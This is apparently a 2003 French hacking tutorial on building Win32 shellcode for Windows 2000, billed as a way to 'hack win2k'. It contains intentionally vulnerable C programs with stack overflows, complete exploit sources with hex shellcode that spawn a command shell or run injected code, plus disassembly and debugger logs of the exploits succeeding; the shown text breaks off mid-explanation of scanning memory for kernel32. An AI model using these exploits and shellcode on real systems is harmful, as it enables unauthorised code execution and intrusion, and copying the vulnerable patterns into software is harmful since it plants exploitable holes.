25/04/2003 \*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/ /*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ ============================ * REAL Win32 GENERIC SHELLCODE * ============================ The ultimate solution for hacking win2k with all service pack By ThreaT & Crazylord. \*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/ /*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\ Pré-introduction ^^^^^^^^^^^^^^^^ Cet article n'est nullemment un vulgaire papier proposant une compilation ou explication des techniques déjà existantes dans le domaine des shellcodes win32 génériques. L'objet de cet essai est de proposé une solution innovante, optimisée et élégante à l'élaboration de code injectable, et suppose une forte compétence technique en matière de programmation bas niveau. Pour que notre approche soit claire et bien comprise, nous nous attarderons à faire un récapitulatif de ce que sont les shellcodes win32, en expliquant leur utilité, les solutions apportées par la communauté mondiale, ainsi que les problèmes pouvant se poser lors de leur création. Ceci permettra dans un premier temps de rafraîchir les mémoires, puis dans un deuxième temps de crédibiliser notre demarche, et ainsi apporter la preuve comparative que notre technique constitue la meilleure solution dans la conception de shellcode générique sous win2k. Il ne nous reste plus qu'à vous laisser entre les mains de votre autodidactisme, tout en vous souhaitant une bonne lecture... - Table des matières ****************** ...I/ Introduction. ..II/ Les shellcodes win32 en général. ------> 2.a) About Win32 shellcodes. ------> 2.b) Les shellcodes spécifiques. ------> 2.c) Les shellcodes statiques. ------> 2.d) Les shellcodes génériques. .III/ Etude de quelques solutions apportées par la communauté " underground mondiale ". ------> 3.a) Etude du shellcode statique de |Zan. ( ~ 1170 bytes ) ------> 3.b) Etude du shellcode générique de RaiSe. ( 790 bytes ) ..IV/ Notre approche sur la question. ------> 4.a) L'abolition de l'adresse de base, grâce au Process Environment Block. ------> 4.b) Une reconstruction de LoadLibraryA / GetProcAdress. ------> 4.c) La mise en place d'une fonction ASM exportable et injectable. ...V/ Quelques shellcodes génériques, basés sur la fonction magique. ------> 5.a) Shellcode générique d'exécution de commande. (150 bytes) ------> 5.b) Shellcode générique download & execute from URL. (247 bytes) ..VI/ Conclusion. .VII/ Fin. /************************************************************************************* I. INTRODUCTION *************************************************************************************/ La compréhension des shellcodes est une étape importante dans le processus d'autoformation d'un hacker, car ceux-ci constituent l'élément essentiel de toutes les attaques evoluées (buffer overflow, reverse engeenering, Shatter Attacks, rootkit, format string, etc...). Malgrès certaines bonnes documentations traitant du sujet, comme par exemple 'Designing win32 shellcode' by sunnis, le monde win32 ne trouve refuge quand dans des commentaires d'explication, relatant les méthodes utilisées pour créer des shellcodes spécifiques, et s'extasie devant des projets génériques dont les shellcodes dépassent souvent les 800 octets !! Pour enfin avoir une documentation française traitant du sujet, et surtout introduire notre approche sur la conception de shellcode générique sous win2k, nous avons decidé de léguer cet article à tout les autistes/schizophrenes et autres personnes atteintes du syndrome d'asperger, cherchant sans cesse la perfection technique... let's go on! /************************************************************************************* II. LES SHELLCODES WIN32 EN GENERALES *************************************************************************************/ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 2.A ABOUT WIN32 SHELLCODE /////////////////////////////////////////////////////////////////////////////////////////// - Qu'est ce que c'est qu'un shellcode ? ************************************* Un shellcode est un micro programme ( moin de 1Ko ) destiné à exécuter une tâche bien précise (exécution d'une commande, création d'un utilisateur, download d'un fichier, etc...) - A quoi servent les shellcodes ? ******************************* L'utilité première d'un shellcode est d'être INJECTE. C'est à dire que votre micro programme est placé dans l'espace d'exécution d'un processus dans le but d'y être executé avec les privilèges de ce dernier. La deuxieme utilité possible d'un shellcode est de remplacer ou rajouter une fonction dans un binaire ou une VM on the fly. - Quelles sont les propriétés generales des shellcodes ? ****************************************************** Pour les shellcodes injectables dans des buffers, il faut que le micro programme ne contienne aucun NULL BYTE (0x00), car cet octet delimite la fin d'une chaine de caractère. (et tronquerais donc le shellcode) la deuxième chose à prendre en compte est l'optimisation pour une taille minimale, ceci afin qu'il puisse être copié même dans un petit buffer. Enfin, la troisième propriété d'un shellcode est que celui ci ne doit contenir aucune adresse absolue, car l'adresse où le shellcode est injecté est généralement inconnue. - Quel est la différence entre un shellcode unix, et un shellcode win32 ? *********************************************************************** Les shellcodes sous win32 sont élaborés à partir des instructions placées dans des librairies (dll), ce qui implique leur chargement en mémoire avant toute conception (ce qui grossit fortement les shellcodes), alors que sous unix, les shellcodes utilise les syscalls (comparables aux interruptions sous DOS), ce qui leurs apporte un réel gain d'octets. \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 2.B LES SHELLCODES SPECIFIQUES /////////////////////////////////////////////////////////////////////////////////////////// Malgrès ce qui a été repondu à la question sur les propriétés générales des shellcodes, les shellcodes win32 spécifiques utilisent directement les adresses absolues des programmes qu'ils exploitent. L'avantage de cette technique est bien sûr une économie d'octet considérable, et surtout, la possibilité d'utiliser directement des fonctions 'evoluées' sans avoir à écrire un code long et fastidieux. Cependent, les shellcodes spécifiques ne sont valides que pour un programme précis, et ne peuvent en aucun cas être réutilisés à outrance. Leur utilité s'avère pour l'injection dans de petit buffer, ou dans le patching d'un binaire. voici un exemple concret pour étayer les esprits : ========================================== vuln0.c =========================================== #include int main (int argc, char *argv[]) { char command[50]; if (!argv[1]) { printf("\nUsage : %s \n" "Une vulnerabilitée est présente si la commande dépasse 60 caractères\n",argv[0]); exit (0); } sprintf (command,"@%s\x00",argv[1]); if (!system (command)) printf ("\nLa commande a été exécutée\n"); else printf ("\nImpossible d'exécuter la commande\n"); return 0; } ============================================ EOF ============================================= E:\code\SP\vuln>cl /nologo vuln0.c vuln0.c E:\code\SP\vuln>vuln0 Usage : vuln0 Une vulnerabilitée est présente si la commande dépasse 60 caractères E:\code\SP\vuln>vuln0 coucou 'coucou' n'est pas reconnu en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes. Impossible d'exécuter la commande E:\code\SP\vuln>vuln0 "echo ceci est une commande de test" ceci est une commande de test La commande a été exécutée E:\code\SP\vuln>vuln0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB' n'est pas reconnu en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes. Impossible d'exécuter la commande ========== BOOM =========== Module Load: E:\CODE\SP\VULN\vuln0.exe (no symbols loaded) Thread Create: Process=0, Thread=1 Second chance exception c0000005 (Access Violation) occurred Thread stopped. >rt EAX=00000000 EBX=7ffdf000 ECX=00408120 EDX=00000001 ESI=0012f88f EDI=00000000 EIP=42424242 ESP=0012ff88 EBP=41414141 EFL=00000246 CS=001b DS=0023 ES=0023 SS=0023 FS=0038 GS=0000 Dr0=e14a8cf8 Dr1=eadd9a01 Dr2=00000000 Dr3=e14e9c28 Dr6=e2963bc8 Dr7=00000001 > après un court travail d'investigation avec softice, on trouve une adresse suceptible d'accueillir notre shellcode :) >dd 132517 0x00132517 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x00132527 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x00132537 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x00132547 41414141 42424141 00004242 00000000 AAAAAABBBB...... 0x00132557 0a005800 08010000 13282000 132b4000 .X....... (..@+. 0x00132567 26000000 00000c00 28d5ac00 00000000 ...&.......(.... 0x00132577 00000000 00000000 00000000 00000000 ................ 0x00132587 00000000 00000000 00000000 00000000 ................ > comme vous pouvez le voir, nous n'avons que 54 bytes de manoevre. le shellcode spécifique s'impose ! pour cela, nous devons analyser quelles sont les adresses utilisées par le programme vulnérable, afin de pouvoir repérer les fonctions qui nous intéressent. ce qui donne : --- disassemble of vuln0.c --- [...] :00401033 6890804000 push 00408090 :00401038 8D55CC lea edx, dword ptr [ebp-34] :0040103B 52 push edx :0040103C E8CB000000 call 0040110C <-- sprintf () :00401041 83C40C add esp, 0000000C :00401044 8D45CC lea eax, dword ptr [ebp-34] :00401047 50 push eax <-- (char*) command :00401048 E829000000 call 00401076 <-- system() :0040104D 83C404 add esp, 00000004 :00401050 85C0 test eax, eax :00401052 750F jne 00401063 :00401054 6898804000 push 00408098 :00401059 E802020000 call 00401260 :0040105E 83C404 add esp, 00000004 :00401061 EB0D jmp 00401070 [...] * Reference To: KERNEL32.ExitProcess, Ord:007Dh | :0040123E FF1560704000 Call dword ptr [00407060] <-- ExitProcess () ---------------- ok, nous connaissons les adresses d'appel de system() et de ExitProcess() utilisées par le programme vulnérable. Nous pouvons donc mettre en place un beau shellcode spécifique qui nous lancera un shell :) ========================================= vuln0sh.c ======================================== /* * Démonstration d'exploit utilisant un shellcode win32 spécifique */ #include void main () { /* __asm { mov ebp, esp xor edi, edi push edi mov word ptr [ebp-4], 'mc' mov byte ptr [ebp-2], 'd' // le classique, on met cmd sur le stack lea eax, [ebp-4] push eax // push 'cmd' en argument mov ebx, 0xFFFFFFFF // astuce anti null byte sub ebx, 0xFFBFEF89 // 0xFFFFFFFF - 0xFFBFEF89 = 00401076 'system()' call ebx add bx, 0x5FEA // encore une astuce : 0x401076 + 0x5FEA = 00407060 call dword ptr [ebx] // ExitProcess (0) } --- Disassembled data ---- :00401000 55 push ebp :00401001 8BEC mov ebp, esp :00401003 53 push ebx :00401004 56 push esi :00401005 57 push edi :00401006 8BEC mov ebp, esp :00401008 33FF xor edi, edi :0040100A 57 push edi :0040100B 66C745FC636D mov [ebp-04], 6D63 :00401011 C645FE64 mov [ebp-02], 64 :00401015 8D45FC lea eax, dword ptr [ebp-04] :00401018 50 push eax :00401019 BBFFFFFFFF mov ebx, FFFFFFFF :0040101E 81EB89EFBFFF sub ebx, FFBFEF89 :00401024 FFD3 call ebx :00401026 6681C3EA5F add bx, 5FEA :0040102B FF13 call dword ptr [ebx] * Exploit code */ int i, j; unsigned char buffer[59], Mallicious[100], shellcode[] = { "\x55\x8B\xEC\x53\x56\x57\x8B\xEC\x33\xFF\x57\x66\xC7\x45\xFC\x63" "\x6D\xC6\x45\xFE\x64\x8D\x45\xFC\x50\xBB\xFF\xFF\xFF\xFF\x81\xEB" "\x89\xEF\xBF\xFF\xFF\xD3\x66\x81\xC3\xEA\x5F\xFF\x13" "\x1F\x25\x13\x00" // ret addr (jouez avec le byte \x1F si sa ne marche pas) } ; for (i=0; i < 59 - (strlen (shellcode) + 1); buffer[i++] = 0x90); for (i,j=0; i < 59; buffer[i++] = shellcode[j++]); sprintf (Mallicious,"vuln0.exe %s",buffer); system (Mallicious); ExitProcess (0); } ========================================== EOF =============================================== on compile l'exploit - E:\code\SP\vuln>cl vuln0sh.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. vuln0sh.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:vuln0sh.exe vuln0sh.obj - on lance l'exploit - E:\code\SP\vuln>vuln0sh '??????????U<ìSVW<ì3ÿWfÇEücmÆEþd?EüP»ÿÿÿÿ?ë%ï¿ÿÿÓf?Ãê_ÿ??%?' n'est pas reconnu en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes. Impossible d'exécuter la commande Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. E:\code\SP\vuln> - boom, on a un shell :)) Comme vous pouvez le constater, nous avons reussi à exploiter un petit buffer grâce à la technique du shellcode spécifique. Le problème de cette attaque est que si nous avions voulu exécuter une autre tâche, comme par exemple écrire dans un fichier, cela nous aurais été impossible, car vuln0 n'utilise pas les fonctions dont nous aurions eu besoin. Tout ceci est donc pratique, mais limité. heureusement, il existe d'autres techniques :) \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 2.B LES SHELLCODES STATIQUES /////////////////////////////////////////////////////////////////////////////////////////// La compréhension des shellcodes statiques demande un petit peu de connaissances en matière de programmation win32. Sa particularité est que celui ci part du principe que toutes les fonctions dont il a besoin dans Kernel32.dll sont situés à une adresse inchangée (statique) Pour que le shellcode puisse utiliser toute la puissance du système, et ainsi réaliser n'importe quel tâche lors de l'exploitation d'un programme vulnérable, celui ci va surtout se baser sur deux API windows, qui sont les suivantes : --> LoadLibrary La fonction LoadLibrary () map le module exécutable specifié dans l'espace d'adressage du processus qui l'invoque Utilisation : HINSTANCE LoadLibrary( LPCTSTR lpLibFileName // Adresse ou fichier du module exécutable ); --> GetProcAddress La fonction GetProcAddress () retourne l'adresse de la fonction située dans la librairie de lien dynamique (DLL) spécifié Utilisation : FARPROC GetProcAddress( HMODULE hModule, // handle du module DLL LPCSTR lpProcName // nom de la fonction ); et c'est grâce à ces API que le shellcode peut aller chercher et charger toute fonction exportée dont il aurait besoin. un exemple pour le démontrer sera plus explicite ========================================= vuln1.c ============================================ #include void vuln_func (char *UserName) { char name[500]; lstrcpy (name,UserName); printf ("Bonjour %s !\n",name); } int main (int argc, char *argv[]) { DWORD flag; char EnvVar[1000]; flag = GetEnvironmentVariable("USERNAME",EnvVar,1000); vuln_func (EnvVar); printf ("\nfin du programme\n"); return 0; } ======================================== EOF ================================================ Ce programme vulnérable dit bonjour à l'utilisateur actuellement connecté. Pour pouvoir connaître le nom de cet utilisateur, celui ci ce réfère à la variable d'environnement USERNAME Donc, si vous avez observez un peu, vous voyez que la variable est stockée dans un buffer de 1000 octets, et ce buffer est envoyé en paramètre à la fonction vulnérable qui ne peut récupérer la valeur que dans un buffer de 500 octets ce qui veut dire que si la variable USERNAME fait une longueur de 510 ou 520 octets, strcpy va overwriter le stack et passer le flot d'exécution à l'adresse situé à dword ptr [ESP] :) on verifie de suite... E:\code\SP\vuln>cl vuln1.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. vuln1.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:vuln1.exe vuln1.obj - regardons la valeur de la variable USERNAME - E:\code\SP\vuln>set | find /i "username" USERNAME=Administrateur - on exécute le prog - E:\code\SP\vuln>vuln1 Bonjour Administrateur ! fin du programme E:\code\SP\vuln> - tout va bien on apporte maintenant une petite modification - E:\code\SP\vuln>SET USERNAME=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB - on relance le prog - E:\code\SP\vuln>vuln1 Bonjour AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB ! ========== BOOM =========== Module Load: E:\CODE\SP\VULN\vuln1.exe (no symbols loaded) Thread Create: Process=0, Thread=1 Second chance exception c0000005 (Access Violation) occurred Thread stopped. >rt EAX=00000207 EBX=7ffdf000 ECX=00406090 EDX=00000001 ESI=0012f88f EDI=78499da7 EIP=42424242 ESP=0012fb90 EBP=41414141 EFL=00000212 CS=001b DS=0023 ES=0023 SS=0023 FS=0038 GS=0000 Dr0=e14a8c98 Dr1=fb157a01 Dr2=00000000 Dr3=e14e9c28 Dr6=e2966ee8 Dr7=00000001 > - EIP=42424242, on tombe en plein dans le buffer overflow classique - >dd esp 0x0012FB90 0012fb00 000001fc 41414141 41414141 ........AAAAAAAA 0x0012FBA0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBB0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBC0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBD0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBE0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FBF0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FC00 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA [...] 0x0012FD60 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FD70 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FD80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0x0012FD90 42424242 0012ff00 002f0000 002f5168 BBBB....../.hQ/. - la stack est completement exploséé avec notre variable USERNAME, impeccable donc, combien sa nous fait de bytes de manoeuvre tout ca ? (0x0012FD80+0x10) - (0x0012FB90+8) = 0x1F8 soit 504 bytes (c'était prévisible, mais bon) ok, voici notre approche d'attaque : Nous allons créer un shellcode qui va forcer le programme vulnérable à exécuter une boîte de dialogue. pour ce faire, nous devrons charger la lib user32.dll à l'aide de LoadLibraryA, puis retrouver l'adresse exportée de la fonction MessageBoxA() qui, (pour rappel), fonctionne de la manière suivante : int MessageBox( HWND hWnd, // handle of owner window LPCTSTR lpText, // address of text in message box LPCTSTR lpCaption, // address of title of message box UINT uType // style of message box ); commencons par connaitre les adresses de bases du kernel32 de notre système d'exploitation Disassembly of File: kernel32.dll Code Offset = 00000400, Code Size = 0005D000 Data Offset = 0005D400, Data Size = 00001A00 +++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++ Number of Exported Functions = 0823 (decimal) Addr:77E79AC1 Ord: 340 (0154h) Name: GetProcAddress Addr:77E7A254 Ord: 480 (01E0h) Name: LoadLibraryA Addr:77E88F94 Ord: 141 (008Dh) Name: ExitProcess très bien, nous pouvons dorénavant commencer l'élaboration du shellcode, et même enchainer sur un expoit pour ce petit programme vulnérable ======================================= vuln1sh.c ========================================== #include void main () { /* * Shellcode statique de démonstration * * Ce shellcode affiche une boite de dialogue, et est spécifique à la * version 5.0.2195.2778 de Kernel32.dll (win2k SP2) * __asm { mov ebp, esp sub esp, 36 // alloue 36 bytes sur le stack mov dword ptr [ebp-36],'sseM' mov dword ptr [ebp-32],'Bega' mov eax, 0xFFFFFFFF sub eax, 0xFFBE8790 mov dword ptr [ebp-28], eax // place 'MessageBoxA' mov dword ptr [ebp-24], 'resu' xor eax, eax add ax, 0x3233 mov dword ptr [ebp-20], eax // place 'user32' mov dword ptr [ebp-17], 'lleH' xor eax, eax mov ax, '!o' mov dword ptr [ebp-13], eax // place 'Hello!' mov dword ptr [ebp-8], 'enwO' sub al, 11 mov dword ptr [ebp-4], eax // place 'Owned!' lea eax, [ebp-24] // récupère le pointeur sur user32.dll mov ebx, 0x77E7A254 // met dans EBX l'adresse de la fonction LoadLibraryA push eax call ebx // eax = LoadLibraryA ("user32") mov ebx, 0x77E79AC1 // Met dans EBX l'adresse de la fonction GetProcAddress lea ecx, [ebp-36] // Récupère le pointeur sur MessageBoxA push ecx push eax call ebx // GetProcAddresss ((HMODULE)eax,"MessageBoxA") xor ecx, ecx push 48 // icone Exlamation lea ebx, [ebp-17] // récupère le pointeur sur 'Hello!' push ebx lea ebx, [ebp-8] // récupère le pointeur sur 'Owned!' push ebx push ecx call eax // MessageBox (NULL,"Owned!","Hello!", 48) mov eax, 0x77E88F94 call eax // ExitProcess (0) } * * Disassembled DATA * :00401006 8BEC mov ebp, esp :00401008 83EC24 sub esp, 00000024 :0040100B C745DC4D657373 mov [ebp-24], 7373654D :00401012 C745E061676542 mov [ebp-20], 42656761 :00401019 B8FFFFFFFF mov eax, FFFFFFFF :0040101E 2D9087BEFF sub eax, FFBE8790 :00401023 8945E4 mov dword ptr [ebp-1C], eax :00401026 C745E875736572 mov [ebp-18], 72657375 :0040102D 33C0 xor eax, eax :0040102F 66053332 add ax, 3233 :00401033 8945EC mov dword ptr [ebp-14], eax :00401036 C745EF48656C6C mov [ebp-11], 6C6C6548 :0040103D 33C0 xor eax, eax :0040103F 66B86F21 mov ax, 216F :00401043 8945F3 mov dword ptr [ebp-0D], eax :00401046 C745F84F776E65 mov [ebp-08], 656E774F :0040104D 2C0B sub al, 0B :0040104F 8945FC mov dword ptr [ebp-04], eax :00401052 8D45E8 lea eax, dword ptr [ebp-18] :00401055 BB54A2E777 mov ebx, 77E7A254 :0040105A 50 push eax :0040105B FFD3 call ebx :0040105D BBC19AE777 mov ebx, 77E79AC1 :00401062 8D4DDC lea ecx, dword ptr [ebp-24] :00401065 51 push ecx :00401066 50 push eax :00401067 FFD3 call ebx :00401069 33C9 xor ecx, ecx :0040106B 6A30 push 00000030 :0040106D 8D5DEF lea ebx, dword ptr [ebp-11] :00401070 53 push ebx :00401071 8D5DF8 lea ebx, dword ptr [ebp-08] :00401074 53 push ebx :00401075 51 push ecx :00401076 FFD0 call eax :00401078 B8948FE877 mov eax, 77E88F94 :0040107D FFD0 call eax Exploit code start here */ int i,j; unsigned char buffer[507], shellcode[] = { // taille du shellcode = 121 bytes "\x8B\xEC\x83\xEC\x24\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61" "\x67\x65\x42\xB8\xFF\xFF\xFF\xFF\x2D\x90\x87\xBE\xFF\x89\x45\xE4" "\xC7\x45\xE8\x75\x73\x65\x72\x33\xC0\x66\x05\x33\x32\x89\x45\xEC" "\xC7\x45\xEF\x48\x65\x6C\x6C\x33\xC0\x66\xB8\x6F\x21\x89\x45\xF3" "\xC7\x45\xF8\x4F\x77\x6E\x65\x2C\x0B\x89\x45\xFC\x8D\x45\xE8\xBB" "\x54\xA2\xE7\x77\x50\xFF\xD3\xBB\xC1\x9A\xE7\x77\x8D\x4D\xDC\x51" "\x50\xFF\xD3\x33\xC9\x6A\x30\x8D\x5D\xEF\x53\x8D\x5D\xF8\x53\x51" "\xFF\xD0\xB8\x94\x8F\xE8\x77\xFF\xD0" "\xA0\xFB\x12\x00" // adresse de retour } ; for (i=0; i < 507 - lstrlen (shellcode); buffer[i++] = 0x90); for (i,j=0; i < 507; buffer[i++] = shellcode[j++]); if (!SetEnvironmentVariable("USERNAME",buffer)) printf ("Impossible de créer la variable d'environement malicieuse\n"); else { printf ("Variable USERNAME millicieuse ok !\n" "Lancement du programme vulnérable...\n\n"); system ("vuln1"); } } ========================================= EOF ================================================ E:\code\SP\vuln>cl vuln1sh.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. vuln1sh.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:vuln1sh.exe vuln1sh.obj E:\code\SP\vuln>vuln1sh Variable USERNAME mallicieuse ok ! Lancement du programme vulnérable... Bonjour ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉïýâý$ÃE_M essÃEÓageB©    -É祠ëEõÃEÞuser3+f?32ëEýÃE´Hell3+f©o!ëE¾ÃE°Owne,?ëE³ìEÞ+TóþwP Ë+- ÜþwìM_QP Ë3+j0ì]´Sì]°SQ ð©öÅÞw ðá¹? ! _______________ |Hello! [x]| |^^^^^^^^^^^^^^^| | /^\ | | / ! \ Owned! | | ----- | | _________ | | | O K | | | ¨¨¨¨¨¨¨¨¨ | ^^^^^^^^^^^^^^^ donc voila comment grâce à la methode statique, nous avons reussi à créer un petit shellcode (121 bytes) et exécuter une fonction exportée du système (affichage de boîte de dialogue). Le problème majeur de cette technique est que le shellcode s'appuie sur des adresses STATIQUES de fonction relative à Kernel32.dll, et cela oblige l'attaquant à connaitre la version précise du système d'exploitation cible pour mener son action à bien. (OS / services pack) La solution qui vient à l'esprit serait d'arriver à créer une fonction permettant de retrouver au minimum les adresses de LoadLibraryA() et de GetProcAddress(), car même si une tel fonction grossirait fortement le shellcode, nous serions sur qu'une attaque 'aveugle' aboutirait. Regardons ce qui existe dans ce domaine... \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 2.B LES SHELLCODES GENERIQUES /////////////////////////////////////////////////////////////////////////////////////////// Comme vous avez dût le comprendre, le principe du shellcode générique et d'arriver à retrouver par lui même les adresses des fonctions exportées de kernel32.dll je vais donc vous expliquer la méthode la plus couramment utilisée pour arriver à cette fin. La première etape consiste à retrouver l'adresse de base de kernel32 en scannant la mémoire à la recherche d'un pattern, mais une telle opération soulève quelques questions, à savoir : -> quel pattern devons nous rechercher ? -> comment être sur que le pattern correspond à kernel32.dll ? -> quel plage de mémoire devons nous scanner ? -> comment éviter les erreurs d'exception générées par la lecture d'un emplacement vide ? Pour la première question, la réponse est simple, le pattern à rechercher est le header 'MZ' placé au début de tout exécutable. pour répondre aux deux autres, observons un petit historique des images de bases de notre dll à travers l'évolution du système microsoft ++++++++++++++++++++++++++++++++++ + Some ImageBase of kernel32.dll + ++++++++++++++++++++++++++++++++++ + 077E00000h - NT/W2k + + 077E80000h - NT/W2k + + 077E70000h - NT/W2k + + 077ED0000h - NT/W2k + + 077F00000h - NT/W2k + + 0BFF70000h - 95/98 + + 077E60000h - XP home + + 0BFF60000h - Me + ++++++++++++++++++++++++++++++++++ on remarque dans ce petit récapitulatif que les adresses sont des multiples de 10 pages mémoires (une page etant equivalente à 0x1000) nous pouvons donc dire d'après ce tableau que la plage à scanner ce trouve entre 0x77e00000 et 0xBFF00000 et que le scan sera défini à raison d'une vérification de pattern toute les 10 pages. pour connaitre si l'adresse contenant le pattern voulu est bien l'image de base de kernel32.dll, il nous suffira de la comparer avec toutes les adresses du tableau ci dessus. voici un algo pour clarifier mon explication --- Definition du Tableau ImageBase --- --------------------------------------- 0x77E00000 * EBP 0x77E80000 * EBP-4 0x77E70000 * EBP-8 0x77ED0000 * EBP-12 0x77F00000 * EBP-16 0xBFF70000 * EBP-20 0x77E60000 * EBP-24 0xBFF60000 * EBP-28 --------------------------------------- [adresse] -> initialisation a 0xBFF00000 boucle : _____________________________________________________________________________ || vérification au dword pointer par [adresse] si il y a 